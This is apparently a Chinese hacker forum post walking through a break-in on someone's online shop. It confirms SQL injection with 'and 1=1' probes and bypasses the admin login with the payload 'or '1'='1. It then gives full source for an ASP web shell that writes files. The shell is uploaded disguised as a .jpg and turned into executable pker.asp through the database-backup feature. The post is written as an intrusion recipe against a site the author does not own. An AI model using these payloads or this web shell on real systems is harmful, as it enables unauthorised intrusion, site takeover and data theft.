今天看一个网络商城站。感觉告诉我有漏洞。先做一下简单的测试
http://www.xxx.com/shop/showproduct.asp?id=189%20and%201=1
返回正常
http://www.xxx.com/shop/showproduct.asp?id=189%20and%201=2
返回错误:ADODB.Field 错误 '800a0bcd'
BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/shop/showproduct.asp,行18
说明有sql漏洞。可以猜解出管理员用户和密码。但我不想用工具。就直接去后台看看是不是可以进去
要输入管理员用户和密码,我输入or '1'='1'返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 语法错误 (操作符丢失) 在查询表达式 'admin_name='or '1'='1'' and admin_pass='or '1'='1''' 中。
/shop/admin/manage.asp,行26
呵呵原来是or前面有一个单引号没有闭合
,输入'or '1'='1 成功进去了。
原理:判断管理员密码的时候先判断是不是为空 如果不是空 就开始取得密码 然后与数据库内的比较 当我们输入上面的时候 就构成了一个或者语句 or是或者的意思。使原来的语句变成 当密码等于数据库中的密码或者是1=1时可以进入。因为1=1是正确的 所以就直接进入了 而不用判断了 你可以把里面的1=1换成2=2 3=3 admin=admin看看 都是一个样子的
进去以后。添加一个文章看看是不是有可以上传的地方。果然有一个。我把下面的代码保存成jpg后缀的文件上传:
<% dim objFSO %><% dim fdata %><% dim objCountFile %><% on error resume next %><% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %><% if Trim(request("syfdpath"))<>"" then %><% fdata = request("cyfddata") %><% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %><% objCountFile.Write fdata %><% if err =0 then %><% response.write "<font color=red>save </font>" %><% end if %><% end if %><% objCountFile.Close %><% Set objCountFile=Nothing %><% Set objFSO = Nothing %><% Response.write "<form action='' method=post>" %><% Response.write "<font color=red></font>" %><% Response.Write "<input type=text name=syfdpath width=32 size=50>" %><% Response.Write "<br>" %><%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %><% Response.write "<br>" %><% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %><% Response.write "<input type=submit value=保存>" %>
<% Response.write "</form>" %>中国品客联盟 http;//www.00880.info
得到一个地址2342423432.jpg 我们发表以后查看一下图片属性 得到是在/pic文件夹里面。
到后台。备份数据库。数据库地址填:../pic/2342423432.jpg 备份文件夹不变。备份数据库名字改为pker.asp 备份成功以如下的地址登陆:
http://www.xxx.com/shop/admin/Databackup/pker.asp
呵呵成功。